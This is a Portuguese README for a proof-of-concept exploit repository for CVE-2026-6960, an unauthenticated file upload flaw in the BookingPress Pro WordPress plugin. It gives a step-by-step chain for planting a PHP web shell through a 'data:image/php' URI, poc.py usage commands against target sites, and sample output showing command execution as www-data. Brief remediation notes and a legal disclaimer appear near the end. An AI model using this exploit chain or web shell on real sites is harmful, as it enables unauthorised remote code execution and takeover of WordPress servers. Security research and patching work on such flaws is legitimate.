
Exploit de prova de conceito para CVE-2026-6960: upload arbitrário de arquivos não autenticado no BookingPress Pro ≤ 5.6. Automatiza uma cadeia de 3 etapas para fazer upload de um web shell PHP via injeção de URI de dados, alcançando execução remota de código em sites WordPress vulneráveis.
Pesquisa por: Atomic Edge Severidade: Crítica | CVSS: 9.8 | Autenticação Necessária: Nenhuma
⚠️ v2 — Correções técnicas aplicadas com base no feedback da comunidade. Consulte Changelog para detalhes.
Existe uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado no plugin WordPress BookingPress Pro (versões ≤ 5.6). O manipulador de submissão de reserva bookingpress_book_appointment_booking processa o valor de um campo personalizado de assinatura como uma data URI. O plugin extrai a extensão do arquivo da parte do tipo MIME da URI via regex e a passa diretamente para file_put_contents() — sem nenhuma lista de permissões ou bloqueio de extensões. Isso permite que um atacante escreva um web shell PHP em um diretório acessível pela web e obtenha Execução Remota de Código (RCE).
⚠️ Todas as seguintes condições devem ser verdadeiras para que o site seja explorável:
- ✅ Um campo personalizado do tipo assinatura deve ser configurado no formulário de reserva do BookingPress pelo administrador do site
- ✅ Pelo menos um serviço ativo deve existir (para gerar um timeslot válido)
- ✅ Uma página com o widget formulário de reserva do BookingPress deve estar publicamente acessível
Sites executando ≤ 5.6 sem um campo personalizado de assinatura configurado não são exploráveis por este vetor.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
O caminho de código vulnerável processa o valor do campo de assinatura como uma data URI:
data:image/{ext};base64,{base64_encoded_content}
O BookingPress extrai {ext} do tipo MIME usando uma correspondência de regex, em seguida escreve o conteúdo decodificado no disco usando file_put_contents() com essa extensão anexada ao nome do arquivo — nenhuma verificação de lista de permissões é realizada. Fornecer image/php como o tipo MIME resulta em um arquivo .php sendo escrito no diretório de upload.
Isto é fundamentalmente diferente de um upload de arquivo multipart padrão — o payload é incorporado em um campo do corpo JSON, não em uma parte de upload de arquivo.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) antes de extrair a extensãowp_check_filetype_and_ext() para toda validação de tipo de arquivo→ Atualize para o BookingPress Pro 5.7 imediatamente.
Este repositório destina-se apenas a pesquisa de segurança autorizada e fins educacionais. Não use esta ferramenta contra qualquer sistema sem permissão explícita por escrito do proprietário do sistema. O uso não autorizado pode violar o CFAA (EUA), Código Criminal s.342.1 (Canadá), Diretiva NIS2 da UE e outras leis aplicáveis. Os autores não assumem nenhuma responsabilidade por uso indevido ou danos decorrentes deste código.
| Propriedade | Detalhe |
|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Afetado | ≤ 5.6 |
| Corrigido em | 5.7 |
| Vetor | Rede / Não Autenticado |
| Ação AJAX | bookingpress_book_appointment_booking |
| Causa raiz | Extensão extraída do tipo MIME controlado pelo atacante na data URI → file_put_contents() sem lista de permissões |
| CWE | CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso |
| Bandeira | Descrição | Padrão |
|---|
-u, --url | URL do WordPress alvo | (obrigatório) |
-bp, --booking-page | Caminho da página contendo o formulário BookingPress | / |
-s, --service-id | ID do serviço BookingPress | 1 |
-f, --filename | Nome do shell (extensão injetada no MIME da data URI) | shell.php |
--no-verify | Desabilitar verificação de certificado SSL | false |
| # | Problema | v1 (incorreto) | v2 (corrigido) |
|---|
| 1 | Ação AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Método de payload | Upload de arquivo multipart com image/png | Data URI: data:image/{ext};base64,... |
| 3 | Fluxo de exploração | POST direto não autenticado | Cadeia de pré-requisitos de 3 etapas (nonce → transient → token) |
| 4 | Pré-condição | Não documentado | Campo personalizado de assinatura deve ser configurado |